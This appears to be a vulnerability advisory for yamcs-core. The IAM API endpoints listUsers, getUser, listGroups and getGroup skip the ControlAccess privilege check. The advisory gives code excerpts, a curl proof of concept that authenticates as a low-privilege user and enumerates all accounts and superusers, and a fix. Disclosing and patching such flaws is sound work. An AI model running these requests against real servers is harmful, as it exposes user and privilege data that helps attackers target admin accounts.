Summary The IAM API endpoints ("listUsers", "getUser", "listGroups", and "getGroup") in "yamcs-core" do not enforce the required "SystemPrivilege.ControlAccess" check. As a result, any authenticated user (even those with low or no privileges) can enumerate all user accounts in the system, including their usernames, superuser status, and group memberships. This constitutes a broken access control vulnerability (CWE-862) that leaks sensitive user information. Root Cause File: "yamcs-core/src/main/java/org/yamcs/http/api/IamApi.java:125,180,357,372" "listUsers()", "getUser()", "listGroups()", and "getGroup()" do not require "SystemPrivilege.ControlAccess". Any authenticated user — regardless of privileges — can enumerate all users, their superuser status, and group memberships: // listUsers — NO checkSystemPrivilege public void listUsers(Context ctx, Empty request, ...) { var sensitiveDetails = ctx.user.hasSystemPrivilege(SystemPrivilege.ControlAccess); // sensitiveDetails=false for low-priv users, but name/superuser/active still exposed for (User user : users) { UserInfo userb = toUserInfo(user, sensitiveDetails, directory); responseb.addUsers(userb); } } Compare with properly protected endpoints: // createUser — correctly protected public void createUser(Context ctx, ...) { ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // present Impact Any authenticated user can: 1. List all user accounts in the system 2. Identify which accounts have superuser privileges 3. Use this information to target privileged accounts Proof of Concept Authenticate as any low-privilege user GET access_token curl -s -X POST "http://localhost:8090/auth/token" -H "Content-Type: application/x-www-form-urlencoded" -d "grant_type=password&username=lowpriv&password=lowpriv123" Enumerate all users — no ControlAccess required curl -s "http://TARGET:8090/api/users" -H "Authorization: Bearer $TOKEN" #paste access_token Output (confirmed): { "users": [ { "name": "admin", "superuser": true, "active": true }, { "name": "operator", "superuser": true, "active": true }, { "name": "lowpriv", "superuser": false, "active": true } ] } Fix Add "ControlAccess" check to "listUsers", "getUser", "listGroups", "getGroup": public void listUsers(Context ctx, Empty request, ...) { ctx.checkSystemPrivilege(SystemPrivilege.ControlAccess); // ADD THIS ... }